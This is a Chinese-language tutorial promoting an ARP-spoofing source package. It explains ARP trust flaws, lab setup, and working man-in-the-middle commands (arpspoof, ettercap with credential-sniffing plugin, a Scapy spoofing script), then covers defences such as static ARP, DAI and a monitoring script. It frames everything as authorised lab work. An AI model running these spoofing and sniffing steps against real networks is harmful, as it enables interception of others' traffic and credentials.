
简介这是一份面向网络安全学习者与技术研发人员的ARP欺骗程序源码包聚焦于突破防火墙限制的报文收发场景可作为内网协议研究、渗透测试验证或防火墙防御策略分析的参考样例。资源基于WinPcap开发包含arppcap核心代码辅以pcap相关头文件与工程配置可直接用于了解ARP欺骗注入、报文构造以及绕过拦截的常见思路。包体共33个文件、体积约89KB主要由24个C/C头文件及配套的lib、a库文件组成并携带dsw、dsp、sln等工程文件整体轻量、结构清晰便于在本地编译与二次修改。当前已有94人学习浏览适合具备一定网络编程基础、希望快速上手抓包交互与ARP实验的读者收藏用来对照协议细节、验证攻防效果并提供排错起点。1. arp.rar 里装的到底是什么一次 ARP 欺骗实战的完整闭环拿到一个叫arp.rar的压缩包多数人第一反应是双击解压然后盯着里面的 exe 和文档发愣。这个包在圈子里流传挺广里面通常是一套 ARP 欺骗工具集——包括传统命令行的arpspoof、图形化的ettercap、以及若干抓包用的插件和说明文档。今天这篇不是给你复述软件手册而是把「ARP 欺骗」这件事从原理到落地拆干净为什么网络里总有人能骗到你、你拿到工具后该怎么在受控环境里跑通最小演示、报文参数该怎么调、翻车了怎么排查以及最后怎么反过来防御。适合三类人看做内网渗透测试的安全工程师、经常被网关掉线问题缠住的网络运维、还有刚入门想搞懂中间人攻击本质的实验型选手。注意以下所有操作必须在自有设备或已获授权的测试环境中进行未经授权对他人网络做欺骗属于违法行为。2. ARP 协议的无状态信任欺骗为什么能成立2.1 缓存机制与信任模型ARP 表只是个“记性很差的黑板”ARPAddress Resolution Protocol解决的是「已知 IP 找 MAC」的问题。主机要发包给同网段的另一台机器只知道对方 IP必须在本地 ARP 缓存表里查出对应 MAC 地址才能封装二层帧。问题是这张表完全建立在「收到的应答就是真的」这个假设上——协议设计时没考虑恶意节点。实验里最容易观察到的现象是你用arp -d清掉一条缓存后下一次 ping 会对目标 IP 发一个广播的ARP Request问“谁是 192.168.1.1请告诉 192.168.1.100”。只要网络里任何设备回复ARP Reply你的主机就直接信了不管这个回复是否来自目标。更关键的是即便你没主动发请求很多操作系统也会无条件接受收到的 ARP Reply直接更新缓存。这就是无状态信任的核心全程没有认证、没有时间戳、没有序列号。这种机制在技术层面有一个“反直觉”的点物理上连着同一台交换机的两台主机本来不需要经过对方就能通信但攻击者只要把自己的 MAC 告诉受害者“我是网关”受害者的所有出网流量就会先发到攻击者网卡上。你抓包看会看到大量从攻击者转发出去的数据仿佛那台机器成了代理。理解这个信任模型后面调参数时才知道为什么arp_ignore和arp_announce这些内核参数能挡住一部分低级欺骗。2.2 三条典型欺骗路径伪造应答、主动通告、双向劫持先讲最常见的三种做法因为后面所有命令参数都围绕它们展开。第一种是「伪造应答Unsolicited Reply」。攻击者直接向受害者发一个 ARP Reply说“网关 IP 对应的 MAC 是 00:11:22:33:44:55”受害者一收到就写入缓存。Linux 下的arpspoof默认就是这个行为它不停发送这种单播应答包直到你 CtrlC。第二种是「双向欺骗」。攻击者既要骗受害者也要骗网关。对受害者说“我是网关”对网关说“我是受害者”这样受害者的流量先到攻击者攻击者再转发给网关网关回包也经过攻击者。这就是完整的中间人链路也是ettercap的 ARP poisoning 模式干的活。第三种是「IP/MAC 泛洪」。攻击者伪造大量不同 IP 的 ARP 报文把交换机 CAM 表和受害者 ARP 表刷乱目的不是劫持而是制造混乱。这种手法经常被误当成 ARP 欺骗但它本质上属于 DoS实战中很少用来截获数据排查时容易分不清。选型上我一般这样落地做临时验证用arpspoof因为命令短、依赖少做完整的流量篡改或凭据嗅探用ettercap因为它自带插件和过滤器如果要在嵌入式或路由器环境里骗那就直接用nemesis或自己写scapy脚本因为前两个工具未必有移植版本。2.3 授权边界与实验环境什么场景才值得动手写代码之前必须把合法性边界说清楚。我见过太多人拿宿舍网做实验结果把全楼断网最后被网管找上门。合理的实验场景只有三个你名下的虚拟机、你管理的测试内网、以及签了授权书的渗透测试项目。如果你只是想学技术强烈建议用 VMware Workstation 建三台虚机全部接在同一块自定义虚拟网卡上这样流量不经过真实网关随便折腾。还有个容易忽略的点实验环境里如果用的是 VMware 的 NAT 模式默认虚拟网卡vmnet8上有vmware自己的 DHCP 和 NAT 服务它的 ARP 行为跟真实网关完全不一样会干扰你的欺骗实验。所以要在「虚拟网络编辑器里」把两台以上的虚机放到同一台虚拟交换机下的自定义 VMnet 上并禁用该 VMnet 的 DHCP。这一点是新手翻车的一大半原因。3. 跑通最小 ARP 欺骗从解压 arp.rar 到看到目标流量3.1 解压与工具选型先看依赖再选命令arp.rar解压后常见的目录结构一般是一个arpspoof可执行文件或 Windows 下的arpspoof.exe、ettercap的安装包、几个.cap的示例抓包文件、以及一份说明文档。不同平台用的命令写法稍有不同。在 Kali Linux 下arpspoof和ettercap通常已经预装如果用的是 CentOS需要先装dsniff套件。先确认环境which arpspoof arpspoof -h which ettercap ettercap --version逻辑说明which检查可执行文件是否存在第二条命令看版本避免后面因为工具路径问题报command not found。Windows 下如果只有 exe直接放到C:\tools\并把该目录加入 PATH。参数说明arpspoof的典型用法是arpspoof -i 网卡名 -t 目标IP 网关IP。-i指定监听接口-t指定要欺骗的目标主机最后那个 IP 是“你假冒的设备”。例如arpspoof -i eth0 -t 192.168.10.2 192.168.10.1是告诉 10.2 这台机器我攻击机就是 10.1 网关。3.2 最小环境搭建三台虚拟机的网络拓扑与参数设定别直接用桥接模式连公司网做测试万一骗到真实网关你连宕机的责任都担不起。我通常这样建攻击机Kali LinuxIP 192.168.56.10MAC 随意受害机Ubuntu ServerIP 192.168.56.20网关模拟用一台 CentOS 开ip_forward并配置 NAT或者更简单地用主机上的vmnet网卡充当“网关”但为了可控性建议单独建第三台虚机。VMware 中创建两个自定义虚拟网络专用一个叫VMnet2连接攻击机和受害机另一个叫VMnet3连接受害机和网关机。这样攻击机只能碰到受害机而受害机认为网关是 VMnet3 那一侧的 IP。实际操作中很多人图省事把三台全接到同一个 VMnet2结果攻击机直接能和网关通信导致欺骗链路变得很怪。正确做法是攻击机只和受害机在同一网段受害机用自己的第二张网卡连真实网关。但这又引入了多网卡问题。最省心的折中方案是三台机器全接在 VMnet2用第三台虚机模拟网关攻击机也能访问它但欺骗时只发“对受害机说我是网关”的单向欺骗不双向骗网关——这样抓包验证够了拓扑风险也小。3.3 先用 arpspoof 单向欺骗再用 scapy 做双向劫持确认三台虚机都互相能 ping 通后打开三个终端窗口。窗口 A 抓包窗口 B 跑欺骗窗口 C 看受害机 ARP 表。先在攻击机上开启 IP 转发如果做双向欺骗才需要单向欺骗可以不开echo 1 /proc/sys/net/ipv4/ip_forward逻辑说明把内核网络栈的ip_forward置 1攻击机收到发往别的 IP 的包时才会按路由表继续转发否则自己会直接丢弃受害机就断网了。参数说明这个开关只对本次开机有效重启后恢复 0。如果想持久化改/etc/sysctl.conf里的net.ipv4.ip_forward 1然后sysctl -p。抓包终端先跑起来tcpdump -i eth0 -n -e -vv arp or (ip and host 192.168.56.20)逻辑说明-n不做 DNS 解析-e显示二层 MAC 地址-vv输出更详细。过滤器只关心 ARP 包和受害机 IP 相关的 IP 包避免被 SSH 会话噪音淹没。参数说明如果你攻击机的抓包网卡名是eth0如果不是可以用ip link show查一下Kali 上可能叫eth0老版本叫ens33。看到受害机的请求和应答出现说明网络没问题。然后启动单向欺骗arpspoof -i eth0 -t 192.168.56.20 192.168.56.1逻辑说明这条命令让攻击机不断告诉 192.168.56.20“192.168.56.1 的 MAC 是 xx:xx:xx:xx:xx”攻击机自己的 MAC。受害机收到后就会更新 ARP 缓存把发往网关的流量切到攻击机网卡上。参数说明注意最后的192.168.56.1是受害机的真实网关 IP不是攻击机的 IP。如果第三台虚机做网关IP 设为即 192.168.56.1攻击机 IP 是 192.168.56.10受害机是 192.168.56.20。这里常见错误是把-t写反导致攻击机去欺骗网关说“我是受害机”结果受害机没受影响网关反而被带偏。验证是否生效在受害机上执行ip neigh show 192.168.56.1逻辑说明这个命令查看受害机 ARP 缓存中网关 IP 对应的 MAC。如果欺骗成功你会看到网关的 MAC 变成了攻击机的 MAC。正常状态下应该是网关的真实 MAC。参数说明老系统用arp -n也可以。ip neigh是现代 Linux 的标准命令输出里可能多一个REACHABLE状态。到这一步你已经看到了最小闭环ARP 表被篡改流量路径发生了改变。但这只是单向欺骗受害机的出站包会发到攻击机但攻击机没有开启转发或者没有伪装成网关回包的话出站流量就断了。所以接下来要么配合ip_forward做成透明转发要么用ettercap直接做双向。3.4 用 ettercap 做双向劫持与流量嗅探很多人嫌弃arpspoof需要自己开转发、自己抓包太麻烦。ettercap自带一个完整的中间人框架。命令行模式下最小启动命令是ettercap -T -M arp:remote -i eth0 /192.168.56.20/ /192.168.56.1/逻辑说明-T表示只显示文本界面不启动图形界面适合 SSH 远程用。-M arp:remote指定使用 ARP 欺骗模式其中remote关键字代表启用 IP 转发让两端通信保持连通。后面两个参数分别是要欺骗的目标 IP 范围这里写成/192.168.56.20/和/192.168.56.1/意思是欺骗这两个地址互为网关。参数说明如果你要欺骗整个子网可以写/192.168.56.0/24但初学不建议因为会搞出全网广播风暴。-M arp后面的remote是关键漏掉它就只能单向欺骗流量会断。启动后ettercap 会周期性地发送伪造 ARP 包。你可以在攻击机上抓包看到受害机和网关之间的 HTTP 明文请求。如果想看 POST 的账号密码可以给 ettercap 加一个抓取器ettercap -T -M arp:remote -i eth0 /192.168.56.20/ /192.168.56.1/ -P autoadd逻辑说明-P autoadd加载自动添加的新插件该插件会解析常见协议的登录字段。但现在的网站基本全是 HTTPS单独用这种嗅探已经拿不到明文密码了因此更多时候用来验证你确实能看到双向流量。验证双向劫持是否成功标准做法是看受害机到攻击机之间是否有持续转发的 TCP 连接。在攻击上再开一个终端tcpdump -i eth0 -n tcp and not port 22逻辑说明排除掉 SSH 管道的流量后如果受害者正在访问某一个网页你应该能看到从 192.168.56.20 发到 192.168.56.1 的 TCP 包同时能看到 192.168.56.1 回给 192.168.56.20 的包而且攻击机的网卡正处于中间转发状态。这就是中间人链路生效的直接证明。参数说明not port 22很关键因为 Kali 本身通过 SSH 被远程控制的话大量 SSH 流量会让你误以为转发成功。另一种更严谨的验证方式是在受害机上ping -c 3 192.168.56.1然后在攻击机上tcpdump icmp看到 ICMP 请求包里源 MAC 是受害机的目的 MAC 是攻击机的就对了。4. ARP 欺骗的 5 个高频踩坑与排查手册4.1 现象虚拟机里骗到了网关却看不到受害机的任何流量原因多半是网络模式不对。我刚开始用 VMware 默认 NAT 模式时受害机永远找不到「网关」因为 NAT 的虚拟网关其实在宿主机上ARp 包广播到了 VMnet8攻击机在 VMnet2 里根本听不到。解决把受害机、攻击机、模拟网关全部放到同一个自定义 VMnet比如 VMnet2并关闭该网络的 DHCP然后在模拟网关上手动配 IP、开启转发。最后确认三台机器彼此的 ARP 表里都能看到对方 MAC再开始欺骗。4.2 现象arp 表一直在漂移抓包全是广播原因受害机上安装了防 ARP 攻击的安全软件或者系统开启了 ARP 毒化防御比如 Linux 的arp_ignore1和arp_announce2导致它不处理来自非预期 IP 的单播通告。此时攻击机发的伪造应答虽然被收到但不会写入缓存于是受害机持续广播请求攻击机持续应答ARP 表一闪一灭。解决关闭防御函数。受害机如果是 Linux执行sysctl -w net.ipv4.conf.all.arp_ignore0 sysctl -w net.ipv4.conf.all.arp_announce0逻辑说明arp_ignore设置是否仅应答发送方地址与本机地址同网段的请求0表示忽略网段检查尽量回。arp_announce设置通告源地址的选择方式0表示总是通告接口主 IP。参数说明这个配置重启后失效只适合实验。Windows 上需要在“高级安全 Windows Defender 防火墙”里关闭“安全网关”相关的规则或者干脆卸载第三方 ARP 防护。4.3 现象Windows 目标机不受欺骗mac 地址不变原因Windows 从 Vista 开始默认对不必要的单播 ARP Reply 做丢弃处理特别是当请求不是自己发出时。arpspoof发的是主动通告Windows 会忽略。解决换用双向欺骗。先向目标机发一个 IP 请求等目标机产生 ARP Request 再快速插入 Reply或者直接用ettercap -M arp:remote它会在受害者发出请求的间隙混入伪造应答这样命中率更高。另外一个土办法是先用ping通目标机让它和目标 ARP 表里有了缓存再发伪通告命中率会高一截。4.4 现象交换机开启端口安全后欺骗导致整个 VLAN 断流原因现在很多企业交换机默认开启端口安全限制一个端口能学习的 MAC 数量。攻击机不断广播不同的伪造 MAC交换机把端口锁住了导致所有连到该端口的设备全部失联。解决实验前关闭交换机端口安全的限制或者使用交换机的“受限”模式。如果你是为了测试防御建议在独立 VLAN 里测不要在生产端口上搞。日志里如果看到mac-address move或者security violation基本就是这个问题。4.5 现象实验结束清理不干净受害者断网老半天原因你 CtrlC 杀掉arpspoof后受害者的 ARP 缓存里依然是攻击机的 MAC此时网关的真实 MAC 没有自动恢复受害者所有出网流量仍发到攻击机而攻击机已经不再转发网络直接瘫痪。解决正确善后步骤是先恢复 ARP 缓存再杀进程。在攻击机上用一条命令替受害者发出正确的网关通告arpspoof -i eth0 -t 192.168.56.20 192.168.56.1 # 先别杀它 # 重新开一个终端用 arping 恢复真实网关的 MAC arping -U -c 3 -I eth0 192.168.56.1逻辑说明arping -U发送主动的 ARP Reply通告 192.168.56.1 的真实 MAC这里的“真实”需要确保你的 eth0 能通过网关转发否则通告出去的还是攻击机的 MAC。实际操作中我通常在受害机上手动清理并重新请求ip neigh flush dev eth0 ping -c 1 192.168.56.1逻辑说明清空受害机 eth0 上的 ARP 缓存然后通过 ping 重新发起解析请求让真实网关回应恢复正确记录。参数说明ip neigh flush会清掉这张网卡上的所有 ARP 条目包括合法邻居所以最好在实验结束后执行。别在没断掉攻击进程时做否则新请求又被攻击者响应。5. 反制与防御静态 ARP、交换机 DAI、主动监测5.1 单机应付式防御静态 ARP 绑定与内核参数最直接的单机防御是给重要主机做静态 ARP。Linux 下写死网关的 MACarp -s 192.168.56.1 00:0c:29:aa:bb:cc逻辑说明静态条目不会被动态通告刷新之后即使收到伪造的 ARP Reply系统也会无视。缺点是换网卡或者换网关 MAC 后必须手动更新不适合大规模部署。参数说明Windows 下用arp -s需要以管理员身份运行而且有些系统重启后失效得写脚本开机执行。这个做法只适合网关、数据库服务器等少数关键节点不要给每个终端都配。5.2 网络侧防御交换机 DAI 和端口安全才是治本真正治本的方案是交换机上的 Dynamic ARP InspectionDAI。DAI 的工作原理是交换机对每个端口的 ARP 报文进行校验默认只信任接路由器或主干的端口其他端口的 ARP 包要检查其源 IP/MAC 是否在 DHCP Snooping 绑定表里。具体配置思路# 启用 DHCP Snooping让交换机学习合法 IP-MAC 绑定 ip dhcp snooping ip dhcp snooping vlan 10 # 配置信任端口一般是上联口 ip dhcp snooping trust interface GigabitEthernet0/1 # 启用 DAI ip arp inspection vlan 10 ip arp inspection validate src-mac dst-mac ip逻辑说明第一条是开启 DHCP Snooping第二条指定 VLAN 10 内收到的 DHCP 报文会被记录到绑定表。第三条把上联口设为信任口该口进来的 ARP 包不校验。第四条开启 ARP 检查第五条让交换机同时校验源 MAC、目的 MAC 和 IP 的一致性。参数说明validate src-mac dst-mac ip三个关键字分别检查 ARP 报文头的源 MAC 是否等于发送者 MAC、目的 MAC 是否等于接收者 MAC、以及 IP/MAC 绑定是否匹配。如果没有配置 DHCP SnoopingDAI 只能依赖静态绑定你可以用ip arp inspection filter指定一个 ACL但维护成本高。对于纯静态环境建议直接关掉 DHCP Snooping改用静态绑定。5.3 主动检测用 arping 和 tcpdump 发现欺骗异常单机检测有没有被欺骗可以通过连续观察 ARP 表是否变动来实现。写个循环脚本每次比较网关 MAC 是否漂移#!/bin/bash GATEWAY_IP192.168.56.1 REAL_MAC00:0c:29:aa:bb:cc while true; do CUR_MAC$(ip neigh show $GATEWAY_IP | awk {print $5}) if [ $CUR_MAC ! $REAL_MAC ]; then echo ALARM: gateway MAC changed to $CUR_MAC at $(date) fi sleep 2 done逻辑说明脚本每两秒读取一次网关的 ARP 表项把 MAC 跟预置的真实值比对一旦发现变化立即报警。这是个纯粹的观察型方法不产生额外流量但只能发现已发生的欺骗不能拦截。参数说明awk {print $5}是取ip neigh输出里的 MAC 字段不同系统可能偏移最好先手动跑一次ip neigh show 192.168.56.1看输出位置。你也可以把脚本放到crontab里但周期最好小于 5 秒否则攻击者可能已经完成劫持和清理。6. 把工具包扔一边用 Scapy 写最小欺骗与检测脚本工具包里的现成命令很快用完但如果你要验证一个随机主机是否也容易被骗或者想测试你自己的防御规则写一段 Scapy 脚本比换参数快得多。下面这段脚本发送单向欺骗通告然后自动恢复#!/usr/bin/env python3 from scapy.all import Ether, ARP, sendp import time, sys target_ip 192.168.56.20 spoofed_ip 192.168.56.1 target_mac aa:bb:cc:dd:ee:ff # 用 getmacbyip 获取更保险 def spoof(): pkt Ether(dsttarget_mac) / ARP(op2, pdsttarget_ip, psrcspoofed_ip, hwdsttarget_mac) sendp(pkt, verbose0) def restore(): real_gw_mac 00:0c:29:11:22:33 pkt Ether(dsttarget_mac) / ARP(op2, pdsttarget_ip, psrcspoofed_ip, hwdsttarget_mac, hwsrcreal_gw_mac) sendp(pkt, verbose0) try: while True: spoof() time.sleep(2) except KeyboardInterrupt: restore() print(ARP 表已恢复)逻辑说明ARP(op2)表示这是一个 Reply 报文。psrc是伪造的网关 IPpdst是受害者 IPhwdst是受害者的 MAC。因为没有声明hwsrcScapy 会默认用发送接口的 MAC这样攻击机就以自己的 MAC 冒充了网关。CtrlC 后执行restore()把网关真实 MAC 通告给受害者。参数说明攻击机的接口 MAC 需要提前确认如果脚本和实际接口不一致可以用sendp的iface参数指定网卡名例如sendp(pkt, ifaceeth0, verbose0)。getmacbyip可以从 ARP 缓存直接查但前提是已经 ping 过目标。这个脚本不适合在 Windows 上直接裸跑因为 Windows 的 ARP 栈比 Linux 保守很多建议用 Linux 攻击机。防御侧也可以做个简单的监测脚本但不如用arpwatch现成的。相比写完整防御工具我更觉得动手把欺骗做完、再把 ARP 表恢复干净比看十遍文档都深刻。有一次我偷懒没执行restore()直接关了终端结果那台受害虚拟机断网整整五分钟后来被运维同事一顿骂。从那儿以后我总会在脚本的finally块里放恢复逻辑只要是人手工操作就必然有忘记善后的时候让工具自己收尾才是对生产环境最基本的尊重。希望这些经验能帮你在这个方向上少走几步弯路尤其是别把 ARP 欺骗当成一次可以随手乱来的小把戏。本文还有配套的精品资源点击获取